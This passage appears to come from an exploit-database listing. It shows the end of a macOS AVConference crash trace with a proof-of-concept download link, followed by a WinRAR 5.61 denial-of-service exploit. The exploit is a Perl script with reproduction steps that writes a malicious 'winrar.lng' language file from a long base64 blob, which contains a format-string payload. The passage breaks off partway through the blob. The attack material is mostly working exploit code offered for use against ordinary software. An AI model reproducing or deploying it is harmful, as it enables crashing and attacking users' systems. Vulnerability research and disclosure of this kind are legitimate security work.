4   com.apple.AVConference        	0x00007fff64861c40 _VCAudioReceiver_ReceiveProc + 272
5   com.apple.AVConference        	0x00007fff64824db1 VCRealTimeThread_ThreadProc + 601
6   com.apple.CoreMedia           	0x00007fff55f6c98b figThreadMain + 277
7   libsystem_pthread.dylib       	0x00007fff7d10c661 _pthread_body + 340
8   libsystem_pthread.dylib       	0x00007fff7d10c50d _pthread_start + 377
9   libsystem_pthread.dylib       	0x00007fff7d10bbf9 thread_start + 13


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46433.zip
HireHackking 
# Exploit Title: WinRAR 5.61 - Denial of Service
# Author: Kağan Çapar
# Discovery Date: 2019-02-20
# Software Link: https://win-rar.com/predownload.html?spV=true&subD=true&f=wrar561tr.exe
# Vendor Homepage : https://www.win-rar.com
# Tested Version: 5.61 32 Bit
# Tested on OS: Windows 10 Education 64 Bit
# Steps to Reproduce: Run perl exploit, copy "winrar.lng" WinRAR installed path
# Add archive any some file, Open archive WinRAR program and press test button and you will see crash!
# Thanks: THE_123_HACKER & clairvoyant
# Other version should be affected

# EAX 830110D3(Random)
# ECX 830110D5(Random)
# EDX 830110D5(Random)
# EBX 830110D5(Random)
# ESP 00F1379C
# EBP 00F137A8
# ESI 00F13824
# EDI 00000000
# EIP 004F1DB8 WinRAR.004F1DB8

# CMP WORD PTR DS:[EDX],DI

#!/usr/bin/perl

use MIME::Base64;
open(code, ">winrar.lng");
binmode(code);
$encoded = '
//4qACoAKgBtAGUAcwBzAGEAZwBlAHMAKgAqACoADQAKAA0ACgA7ACAAUwB0AHIAaQBuAGcAcwAN
AAoADQAKADMAZgAxADkAYwA0AGMAOQA9ACIAVABhAG0AYQBtACIADQAKADUANQA2ADIAMwAzADMA
ZQA9ACIAVQB5AGEAcgAxASIADQAKADYANgA0AGEAYgBhAGEANAA9ACIASABhAHQAYQAiAA0ACgA0
AGUANwAyADYAZgA4AGYAPQAiACUAYwA6ACAAcwD8AHIA/ABjAPwAcwD8AG4AZQAgAGUAcgBpAF8B
aQBsAGUAbQBpAHkAbwByACIADQAKAGUAYwBmAGIANQAxAGUANwA9ACIAUABhAHIAbwBsAGEAbABh
AHIAIAB1AHkAdQBfAW0AdQB5AG8AcgAuACIADQAKADAANgA1ADUANwBjADMANwA9ACIARABvAHMA
eQBhACAAJQBzACIADQAKADkAMwA5AGUANQAzADMAMgA9ACIAUwBhAGQAZQBjAGUAIABrAGEAeQAx
AXQAbAAxASAAcwD8AHIA/ABtAGQAZQAgAGsAdQBsAGwAYQBuADEBbABhAGIAaQBsAGkAcgAuACIA
DQAKAGMAMABkADAAZgAyADYANAA9ACIAQQByAF8BaQB2ACIADQAKADUANABhADMANwAwAGIAZAA9
ACIAQgB1ACAAawBvAG4AdQBtAGEAIABlAHIAaQBfAWkAbABlAG0AaQB5AG8AcgA6ACAAXAAiACUA
cwBcACIAIAAiAA0ACgA2ADIAZAA4ADMAYwA3AGIAPQAiAEUAawBsAGUAIgANAAoAMAA3AGQAYgBi
ADYAYQBlAD0AIgBHAPYAcwB0AGUAcgAiAA0ACgBjAGMAOQAwAGMAZABkAGEAPQAiAFMAaQBsACIA
DQAKADcAOAA2ADYAOAA1ADcAYwA9ACIATwBuAGEAcgAiAA0ACgAyAGIANwA2ADkAZQAyADYAPQAi
AMcAMQFrAGEAcgB0ACIADQAKAGEAZQBiADIAMwAyADgAZgA9ACIARABpAHoAaQBuAGUAIADHADEB
awBhAHIAdAAiAA0ACgAyADEANQA5ADYAMwAyAGMAPQAiAFQAZQBzAHQAIABFAHQAIgANAAoAOAAx
ADUAOABmAGQAOQA0AD0AIgBBAOcAMQFrAGwAYQBtAGEAIgANAAoAOABhADUAOQA1AGYAYgBhAD0A
IgBLAG8AcgB1ACIADQAKADcAZQBhADkAOAA2ADIAZQA9ACIASwBpAGwAaQB0AGwAZQAiAA0ACgBm
ADUAYQA3ADcAMQBjADIAPQAiAFMARgBYACIADQAKADMAMgBhAGYAMgBjADcANwA9ACIAQgBpAGwA
ZwBpACIADQAKAGQAZgAwADQANgA3ADYAMQA9ACIAUwBpAGgAaQByAGIAYQB6ACIADQAKADYAZAAy
AGYAOQA5ADIAZQA9ACIAxwAxAWsAMQFfASIADQAKADMAMAA4ADgANwA5ADIANAA9ACIAQgB1AGwA
IgANAAoAYQA3ADkANwAwAGEAOAA3AD0AIgBEAPYAbgD8AF8BdAD8AHIAIgANAAoAZQBiAGIANwBk
ADEANgAyAD0AIgBWAGkAcgD8AHMAVABhAHIAYQAiAA0ACgAzADIAYQBkAGMANgBkADkAPQAiAFIA
YQBwAG8AcgAiAA0ACgAyAGQAMAAwADgAOAAxAGUAPQAiAEgAMQF6ACAAVABlAHMAdABpACIADQAK
ADIAZQA0ADEANwBhAGIAMwA9ACIAWQBhAHoAZAAxAXIAIgANAAoAYQA3ADAANQA2ADMAMgA2AD0A
IgAwAXMAaQBtACIADQAKADAAZQBlADYAMwA5ADQAYQA9ACIAQgBvAHkAdQB0ACIADQAKADcANQBm
ADgANABhADAAOQA9ACIAVAD8AHIAIgANAAoAZAA3ADcANAAwADUANABkAD0AIgBQAGEAawBlAHQA
IgANAAoAZQBjADEAOAAzAGEAMgBkAD0AIgBEAGUAHwFpAF8BbQBlACIADQAKADAAYwA0ADMAMwBj
ADUANQA9ACIAQwBSAEMAMwAyACIADQAKADMAOQAxADgAOQBhAGMAZQA9ACIAQwBSAEMAMQA2ACIA
DQAKAGMAMAA2AGIAZABlAGEANgA9ACIAQgBMAEEASwBFADIAIABzAGEAHwFsAGEAbQBhACAAdABv
AHAAbABhAG0AMQEiAA0ACgA2AGQAMQBjADgAOQAxAGIAPQAiAFMAYQAfAWwAYQBtAGEAIAB0AG8A
cABsAGEAbQAxASIADQAKAGYAMgA3ADIAOQA2ADIAZgA9ACIAWQBvAGwAIgANAAoAZgAxAGQAMgA4
AGEAZAA5AD0AIgBBAHIAXwFpAHYAZQAgAGQAbwBzAHkAYQAgAGUAawBsAGUAIgANAAoAOQAzAGEA
YgA0AGQAYgAyAD0AIgBEAG8AcwB5AGEAeQAxASAAZwD2AHMAdABlAHIAIgANAAoAZgAxAGEAYwA4
AGUANwAyAD0AIgBEAG8AcwB5AGEAbABhAHIAMQEgAHMAaQBsACIADQAKAGIANwBkADgAZABkAGIA
NAA9ACIASABhAHMAYQByAGwAMQEgAGEAcgBfAWkAdgBpACAAbwBuAGEAcgAiAA0ACgA1AGQAMgBj
ADgAZABhAGUAPQAiAE8AbgBhAHkAIABhAGwAbQBhAGQAYQBuACAA5wAxAWsAYQByAHQAIgANAAoA
YgAzAGYANgAzAGEAYwBhAD0AIgBEAG8AcwB5AGEAbABhAHIAMQEgAOcAMQFrAGEAcgB0ACIADQAK
ADkAZgBiADIAMgA1ADUANAA9ACIAQQByAF8BaQB2AGwAZQBuAG0AaQBfASAAZABvAHMAeQBhAGwA
YQByADEBIAB0AGUAcwB0ACAAZQB0ACIADQAKADMANgBhAGMAYgBmAGMAMgA9ACIAQQByAF8BaQB2
ACAAZABvAHMAeQBhAHMAMQFuADEBIABnAPYAcwB0AGUAcgAiAA0ACgBiADYAYgBhADQAYwAwAGUA
PQAiAEQAbwBzAHkAYQB5ADEBIABhAHIAXwFpAHYAZABlAG4AIABzAGkAbAAiAA0ACgA1ADUAMQAy
AGMANgBhAGQAPQAiAEEAcgBfAWkAdgAgAGEA5wAxAWsAbABhAG0AYQBzADEBIABlAGsAbABlACIA
DQAKAGYAMAAwADIANgBjAGMANwA9ACIAQQByAF8BaQB2AGkAIABoAGEAcwBhAHIAYQAgAGsAYQBy
AF8BMQEgAGsAbwByAHUAIgANAAoANABmAGMANgBhADQAOQBmAD0AIgBBAHIAXwFpAHYAIABkAGUA
HwFpAF8BaQBrAGwAaQBrAGwAZQByAGkAbgBpACAAZQBuAGcAZQBsAGwAZQAiAA0ACgAzADMAZAAz
ADEANwAzAGYAPQAiAEEAcgBfAWkAdgBpACAAawBlAG4AZABpAC0AYQDnADEBbABhAG4AIABhAHIA
XwFpAHYAZQAgAGQA9gBuAPwAXwF0APwAcgAiAA0ACgBkADUAZQA2AGEAMgAyAGMAPQAiAEIAaQBs
AGcAaQAgAGcA9gBzAHQAZQByACIADQAKAGMAZQBkAGYANwAzAGYANQA9ACIAQQBjAGUAbQBpACAA
awB1AGwAbABhAG4AMQFjADEBbABhAHIAIABpAOcAaQBuACAAcwBpAGgAaQByAGIAYQB6ACAAYQBy
AGEAeQD8AHoA/AAiAA0ACgBmADYANgAyADEAOQA5ADgAPQAiAFcAaQBuAFIAQQBSACcAMQEgAGsA
YQBwAGEAdAAiAA0ACgBmADIAMgA5AGQAZQA1ADcAPQAiAEQAbwBzAHkAYQBsAGEAcgAxASAAdgBl
ACAAYQByAF8BaQB2AGwAZQByAGkAIABiAHUAbAAiAA0ACgAxAGEAMQBiAGYAMQBiADcAPQAiAEEA
cgBfAWkAdgBsAGUAcgBpACAAYgBhAF8BawBhACAAYgBpAHIAIABiAGkA5wBpAG0AZQAgAGQA9gBu
APwAXwF0APwAcgAiAA0ACgA3ADAANgBhAGYAMwBiAGYAPQAiAEEAcgBfAWkAdgBkAGUAIAB2AGkA
cgD8AHMAIAB0AGEAcgBhAG0AYQBzADEBIAB5AGEAcAAiAA0ACgAxADAAMABhADQAMwBhAGEAPQAi
AFIAYQBwAG8AcgAgAG8AbAB1AF8BdAB1AHIAIgANAAoAMQBhAGMAMgBmADUAYQA2AD0AIgBTADEB
awAxAV8BdAAxAXIAbQBhACAAaAAxAXoAMQEgAHQAZQBzAHQAaQAiAA0ACgA4ADMAOAAyAGUAZABm
ADIAPQAiAEQAbwBzAHkAYQB5ADEBIAB5AGEAegBkADEBcgAiAA0ACgBkADkAYgBjADgAYgA3ADEA
PQAiAEIAaQByACAAcwBlAHYAaQB5AGUAIAB5AHUAawBhAHIAMQEiAA0ACgBjADQAYwAwADUAZQBh
ADIAPQAiAEQAZQBwAG8AbABhACIADQAKAGUANABjADcAZQBlAGEAOQA9ACIARQBuACAAaAAxAXoA
bAAxASIADQAKAGQAYwA0ADAANQA0AGUANAA9ACIASAAxAXoAbAAxASIADQAKAGQANwAwADcAZAA5
AGIAOQA9ACIATgBvAHIAbQBhAGwAIgANAAoAOQA1AGEAMgA1ADMAYgAyAD0AIgAwAXkAaQAiAA0A
CgA1ADQAMgBiADYAYgA2AGYAPQAiAEUAbgAgAGkAeQBpACIADQAKAGUAMwBhADEAYwBhADQAYwA9
ACIATwB0AG8AbQBhAHQAaQBrACAAYQBsAGcAMQFsAGEAIgANAAoAOAAzAGMAYQBlADgAYgBhAD0A
IgBBAHIAXwFpAHYAIABiAHUAbAAiAA0ACgAxADMANAA4ADIANQA0AGMAPQAiAEQAbwBzAHkAYQBs
AGEAcgAxASAAZQBrAGwAZQAgAHYAZQAgAGQAZQAfAWkAXwF0AGkAcgAiAA0ACgBmAGIAZgA3AGMA
ZAA2ADgAPQAiAEQAbwBzAHkAYQBsAGEAcgAxASAAZQBrAGwAZQAgAHYAZQAgAGcA/ABuAGMAZQBs
AGwAZQAiAA0ACgAxADAAMAAwADYANQA4ADcAPQAiAFMAYQBkAGUAYwBlACAAdgBhAHIAbwBsAGEA
bgAgAGQAbwBzAHkAYQBsAGEAcgAxASAAdABhAHoAZQBsAGUAIgANAAoANgA1AGIAOQA1AGYAYQAx
AD0AIgBBAHIAXwFpAHYAIABpAOcAZQByAGkAHwFpAG4AaQAgAGUAXwFpAHQAbABlACIADQAKADUA
NABjAGMAMgAyAGIANwA9ACIA3AB6AGUAcgBpAG4AZQAgAHkAYQB6AG0AYQBkAGEAbgAgAPYAbgBj
AGUAIABzAG8AcgAiAA0ACgBiADQANQA1ADcANQBkADUAPQAiAFYAYQByAG8AbABhAG4AIABkAG8A
cwB5AGEAbABhAHIAMQEgAGEAdABsAGEAIgANAAoAZQBjADIAZgBmADIAZQAzAD0AIgBQAGEAcgBv
AGwAYQAgAGkAbABlACAAYQByAF8BaQB2AGwAZQBtAGUAIgANAAoAZQBlAGEAZQAwADYAMgA3AD0A
IgBZAGUAbgBpACAAYgBpAHIAIABrAGwAYQBzAPYAcgAgAHMAZQDnAGkAbgAiAA0ACgAwADQAYQBi
ADcAMAAxADQAPQAiAEgAaQDnAGIAaQByACAAZABvAHMAeQBhACAAcwBlAOcAaQBsAG0AZQBkAGkA
LgAgAEUAawBsAGUAIABpAF8BbABlAG0AaQBuAGkAIAB5AGEAcABtAGEAawAgAGkA5wBpAG4AIABk
AG8AcwB5AGEAIABzAGUA5wBtAGUAbABpAHMAaQBuAGkAegAiAA0ACgAwAGYAZAA1AGMAZQBkADMA
PQAiAEgAaQDnAGIAaQByACAAZABvAHMAeQBhACAAcwBlAOcAaQBsAG0AZQBkAGkALgAgAEIAdQAg
AGkAXwFsAGUAbQBpACAAdABhAG0AYQBtAGwAYQB5AGEAYgBpAGwAbQBlAGsAIABpAOcAaQBuACAA
ZABvAHMAeQBhACAAcwBlAOcAbQBlAGwAaQBzAGkAbgBpAHoAIgANAAoAMwBjAGUAMgBhADEAZQA4
AD0AIgBLAGwAYQBzAPYAcgAgAGIAdQBsAHUAbgBtAHUAeQBvAHIALgAgAE8AbAB1AF8BdAB1AHIA
dQBsAHMAdQBuACAAbQB1AD8AIgANAAoAMAA3AGQAYgBiADYAYQBlAD0AIgBHAPYAcwB0AGUAcgAi
AA0ACgA0AGIAYwBmADYAYQAxAGYAPQAiAGIAYQB5AHQAIgANAAoANgAxAGEANwAwAGYAYgBmAD0A
IgBEAE8AUwAgAG0AZQB0AG4AaQAiAA0ACgBkADMAMgBkAGQAZAA5AGYAPQAiAFcAaQBuAGQAbwB3
AHMAIABtAGUAdABuAGkAIgANAAoAMAAwADYANQAzADIAYQA1AD0AIgBVAG4AaQBjAG8AZABlACAA
KABVAFQARgAtADEANgBMAEUAKQAiAA0ACgA3ADQAMAAwAGIAMwBkADgAPQAiAFUAbgBpAGMAbwBk
AGUAIAAoAFUAVABGAC0AOAApACIADQAKAGYAZQA5ADQAMwA5AGUAYwA9ACIASwBvAHAAJgB5AGEA
bABhACIADQAKADQAZQBhAGUAMQA1ADcAMwA9ACIAJgBUAPwAbQD8AG4A/AAgAFMAZQDnACIADQAK
ADMAMgA4ADQAZAAwAGUAMwA9ACIAJgBXAGkAbgBkAG8AdwBzACAAbQBlAHQAbgBpACAAbwBsAGEA
cgBhAGsAIABnAPYAcwB0AGUAcgAiAA0ACgAyADQAOAA4AGUAZgBjAGEAPQAiACYARABPAFMAIABt
AGUAdABuAGkAIABvAGwAYQByAGEAawAgAGcA9gBzAHQAZQByACIADQAKADEAYwA1ADYAZAA3AGIA
NgA9ACIAVgBpAGUAdwAgAGEAcwAgACYAVQBuAGkAYwBvAGQAZQAgACgAVQBUAEYALQAxADYATABF
ACkAIgANAAoAYgBhADkAOAA0AGUANgA3AD0AIgBWAGkAZQB3ACAAYQBzACAAVQBuAGkAYwBvAGQA
ZQAgACgAVQBUAEYALQAmADgAKQAiAA0ACgA0AGYANgAxADkAMQAwADAAPQAiAFMA9gB6AGMA/ABr
ACAAawBhAHkAZAAxASYAcgAiAA0ACgAzAGEAMgBkADEAMAA0AGUAPQAiACYAQgB1AGwAIgANAAoA
MwBhADQAZAA2ADQAYgAxAD0AIgBrACYAdQByAHQAYQByAG0AYQAgAGMAaQBsAGQAaQAiAA0ACgAx
ADkAYwBmAGEAMABmADUAPQAiAFMAbwAmAG4AcgBhAGsAaQBuAGkAIABCAHUAbAAiAA0ACgA4ADUA
ZgBiAGEAYQAzAGUAPQAiACYASwBhAHAAYQB0ACIADQAKAGMAYwAyADgAOABhAGIAMwA9ACIAQgB1
AGwAdQBuAGEAbQAxAXkAbwByACIADQAKAGYAMgA4AGIAMABhADcANAA9ACIARABpAHoAaQAgAGIA
dQBsAHUAbgBtAGEAZAAxASIADQAKADMAOAAzADUANgBjAGQAOQA9ACIARABpAHoAaQBuAGUAIADH
ADEBawBhAHIAdAAuAC4ALgAiAA0ACgAyAGIAZABhAGUAOQAwADcAPQAiAFMAZQDnAGkAbABpACIA
DQAKAGEAMwBiAGEANgBiADQAMwA9ACIAJQBzACAAYgBhAHkAdAAgACUAZAAgAGQAbwBzAHkAYQAi
AA0ACgBmADQANwA4ADYANQA0AGEAPQAiACUAcwAgAGIAYQB5AHQAIAAlAGQAIABkAG8AcwB5AGEA
IgANAAoAYQAwADcAYQA5ADIAMQAxAD0AIgB2AGUAIgANAAoAMQBkADgAYwBiAGQAYQA2AD0AIgBr
AGwAYQBzAPYAcgAiAA0ACgAyADQAYQA2ADQANQA2AGIAPQAiAGsAbABhAHMA9gByACIADQAKAGYA
OQBiADgAZQA3ADgAYgA9ACIAVABvAHAAbABhAG0AIgANAAoAYgA3ADEAMQA1AGQANABlAD0AIgBL
AGwAYQBzAPYAcgAgAG8AawB1AG4AdQB5AG8AcgAiAA0ACgA2ADUAOQBjAGQAZAA5AGEAPQAiAEEA
cgBfAWkAdgAgAG8AawB1AG4AdQB5AG8AcgA6ACAAJQBkACAAZABvAHMAeQBhACAAbwBrAHUAbgBk
AHUAIgANAAoAZAAyADMANAA2AGQAOAA2AD0AIgBBAHIAXwFpAHYAIABrAGwAYQBzAPYAcgD8ACAA
bwBrAHUAbgB1AHkAbwByACIADQAKAGQAOQA4ADcAMwBmADAAYQA9ACIAVAD8AG0AIABkAG8AcwB5
AGEAbABhAHIAMQEgAGkAXwFsAGUAbQBlAGsAIABpAOcAaQBuACAAeQBlAHQAZQByAHMAaQB6ACAA
YgBlAGwAbABlAGsAIgANAAoANwBjADEAZQAzADAAZAA4AD0AIgAlAHMAIABhAOcAMQFsAGEAbQAx
AXkAbwByACIADQAKADYAMgAyADQAMAA2ADUAOAA9ACIAJQBzACAAbwBsAHUAXwF0AHUAcgB1AGwA
YQBtADEBeQBvAHIAIgANAAoANgA0ADQAZgA3AGIAMgBmAD0AIgAlAHMAIABrAGwAYQBzAPYAcgD8
ACAAbwBsAHUAXwF0AHUAcgB1AGwAYQBtADEBeQBvAHIAIgANAAoANgA1ADQAMwAyAGYAZQA5AD0A
IgAlAHMAIABfAWkAZgByAGUAbABpACAAZABvAHMAeQBhAHMAMQFuAGQAYQAgAHMAYQAfAWwAYQBt
AGEAIAB0AG8AcABsAGEAbQAxASAAaABhAHQAYQBzADEBLgAgAEQAbwBzAHkAYQAgAGIAbwB6AHUA
awAgAHYAZQB5AGEAIAB5AGEAbgBsADEBXwEgAHAAYQByAG8AbABhACAAZwBpAHIAaQBsAG0AaQBf
ASAAbwBsAGEAYgBpAGwAaQByACIADQAKADMAMwA3AGMAYgA1AGEANwA9ACIAJQBzACAAZABvAHMA
eQBhAHMAMQFuAGQAYQAgAHMAYQAfAWwAYQBtAGEAIAB0AG8AcABsAGEAbQAxASAAaABhAHQAYQBz
ADEBLgAgAEQAbwBzAHkAYQAgAGIAbwB6AHUAawAiAA0ACgA1AGIAZQBmAGEAYQA1ADcAPQAiACUA
cwAgAGkA5wBpAG4AZABlACAAcABhAGsAZQB0ACAAdgBlAHIAaQAgAHMAYQAfAWwAYQBtAGEAIAB0
AG8AcABsAGEAbQAxASAAaABhAHQAYQBzADEBLgAgAEMAaQBsAHQAIABiAG8AegB1AGsAIgANAAoA
OABkAGUAZQBhAGMAOAAyAD0AIgBBAHIAXwFpAHYAIABiAGkA5wBpAG0AaQAgAHQAYQBuADEBbgBt
ADEBeQBvAHIAIAB2AGUAeQBhACAAYQByAF8BaQB2ACAAaABhAHMAYQByAGwAMQEiAA0ACgBiADEA
ZAA4ADIANAA3ADEAPQAiAFcAaQBuAFIAQQBSACAAcwBhAGQAZQBjAGUAIABSAEEAUgAgAHYAZQAg
AFoASQBQACAAYQByAF8BaQB2AGwAZQByAGkAbgBlACAAZABvAHMAeQBhACAAZQBrAGwAZQB5AGUA
YgBpAGwAaQByACIADQAKAGYAMQBlADEAZgBkADUAZgA9ACIAQQByAF8BaQB2ACAAeQD2AG4AZQB0
AGkAYwBpACAA5wAxAWsAMQFfASAAawBvAGQAdQAgAHYAZQByAGQAaQA6ACAAJQBkACIADQAKADAA
MAA5ADUAMwA3AGIAZgA9ACIAWQBlAHQAZQByAHMAaQB6ACAAYgBlAGwAbABlAGsAIgANAAoANAAx
AGMAZQA0AGIAMwAwAD0AIgAlAHMAIABkAG8AcwB5AGEAcwAxAW4AYQAgAHkAYQB6AG0AYQAgAGgA
YQB0AGEAcwAxAS4AIABNAHUAaAB0AGUAbABlAG0AZQBsAGUAbgAgAGQAaQBzAGsAIAB0AGEAbQBh
AG0AZQBuACAAZABvAGwAdQAiAA0ACgBkADIAZQAwADMANAA5AGIAPQAiAFwAIgAlAHMAXAAiACAA
5wBhAGwAMQFfAXQAMQFyADEBbABhAG0AMQF5AG8AcgAiAA0ACgA3AGUAMwAyADUANAA2ADYAPQAi
ACUAcwAgAHMAaQBsAGkAbgBlAG0AaQB5AG8AcgAiAA0ACgAwADIAZgAwADkAMQBkAGUAPQAiACUA
cwAgAEcAZQByAGkAIABEAPYAbgD8AF8B/ABtACAASwB1AHQAdQBzAHUAJwBuAGEAIAB0AGEAXwEx
AW4AYQBtADEBeQBvAHIAIgANAAoAYQA5ADkANgBiADAAZgA1AD0AIgBLAGEAbAAxAWMAMQEgAG8A
bABhAHIAYQBrACAAcwBpAGwAbQBlAGsAIABpAOcAaQBuACAAUwBoAGkAZgB0ACsARABlAGwAIABr
ADEBcwBhAHkAbwBsAHUAbgB1ACAAawB1AGwAbABhAG4AMQFuACIADQAKADYAOABhADgANAA0ADQA
YQA9ACIAJQBzACAAZABvAHMAeQBhAHMAMQFuAGQAYQAgAG8AawB1AG0AYQAgAGgAYQB0AGEAcwAx
ASIADQAKADEAMQBlADUANgBkADkANwA9ACIAJQBzACAAZABvAHMAeQBhAHMAMQFuAGQAYQAgAGEA
cgBhAG0AYQAgAGgAYQB0AGEAcwAxASIADQAKADEAMwA0ADMAZQA0AGQAYQA9ACIAJQBzACAAZABv
AHMAeQBhAHMAMQEgAGsAYQBwAGEAdAAxAWwAYQBtADEBeQBvAHIAIgANAAoAZAA1ADMAMgBmADcA
MgBkAD0AIgAlAHMAIABiAHUAbAB1AG4AYQBtADEBeQBvAHIAIgANAAoAMAA3AGMAMQA3AGMAYgA1
AD0AIgAlAHMAIABkAG8AcwB5AGEAcwAxAW4AMQEgACUAcwAgAGQAbwBzAHkAYQBzADEBbgBhACAA
YQBkAGwAYQBuAGQAMQFyAG0AYQBkAGEAIABoAGEAdABhACIADQAKADkANwBiADgANwA3ADMAMwA9
ACIAJQBzACAAYQByAF8BaQB2AGkAIABvAGwAdQBfAXQAdQByAHUAbAB1AHkAbwByACIADQAKADkA
YgA1ADQAZQA3AGUAYQA9ACIAJQBzACAAYQByAF8BaQB2AGkAIABnAPwAbgBjAGUAbABsAGUAbgBp
AHkAbwByACIADQAKAGIAZABiAGEAMwA2AGUAZQA9ACIAJQBzACAAYQByAF8BaQB2AGkAbgBkAGUA
bgAgAOcAMQFrAGEAcgB0ADEBbAAxAXkAbwByACIADQAKADIANgAwAGUAZQBiADAAOQA9ACIAJQBz
ACAAXAB4ADUANABcAHgANQA1AFwAeAA1ADIAXAB4ADQAYgBcAHgANAA5AFwAeAA1ADMAXAB4ADQA
OQBcAHgANAA4AFwAeAA0ADEAXAB4ADQANQBcAHgANQAyAFwAeAA0AGYAXAB4ADUAMwBcAHgANQAw
AFwAeAA0ADEAXAB4ADQAMwBcAHgANAA1ACAAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAGMAJQBj
ACUAYwAlAGMAJQBjACUAYwAlAGMAJQBjACUAYwAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHMAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAl
AHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUA
eAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4
ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgAJQB4ACUAeAAlAHgA
JQB4ACUAeAAlAHgAJQB4ACUAeAAlAHMAJQBuAEMAQwBDAEMAIAB0AGUAcwB0ACAAZQBkAGkAbABp
AHkAbwByACIADQAKADQANgAzADEAMgBjADQAOQA9ACIAJQBzACAAbwBuAGEAcgAxAWwAMQF5AG8A
cgAiAA0ACgBhADcANQBjADUANgAwAGUAPQAiACUAcwAgAGkA5wBlAHIAaQBzAGkAbgBkAGUAbgAg
AHMAaQBsAGkAbgBpAHkAbwByACIADQAKADkAYgBkADEAMAAwADAANAA9ACIAQQByAF8BaQB2ACAA
YQDnADEBawBsAGEAbQBhAHMAMQEgAGUAawBsAGUAbgBpAHkAbwByACIADQAKAGYAZgA3AGUAZQA0
AGYAMwA9ACIAUwBGAFgAJwBlACAAZAD2AG4A/ABfAXQA/AByAPwAbAD8AHkAbwByACIADQAKAGIA
MwBkAGMANQA4ADkAMQA9ACIAUwBGAFgAIABtAG8AZAD8AGwA/AAgAHMAaQBsAGkAbgBpAHkAbwBy
ACIADQAKAGMANQA0ADIAZgA3ADYAZAA9ACIAJQBzACAAYQByAF8BaQB2AGkAIABpAF8BbABlAG4A
aQB5AG8AcgAiAA0ACgBjADgAZgA4ADQAYgBjADkAPQAiAEEAcgBfAWkAdgAgAGsAaQBsAGkAdABs
AGUAbgBpAHkAbwByACIADQAKADIANgAyADUAYwBkADEAZQA9ACIASwB1AHIAdABhAHIAbQBhACAA
awBhAHkAZAAxASAAZQBrAGwAZQBuAGkAeQBvAHIAIgANAAoAMwA0ADEAYwAzAGEAOQAzAD0AIgBl
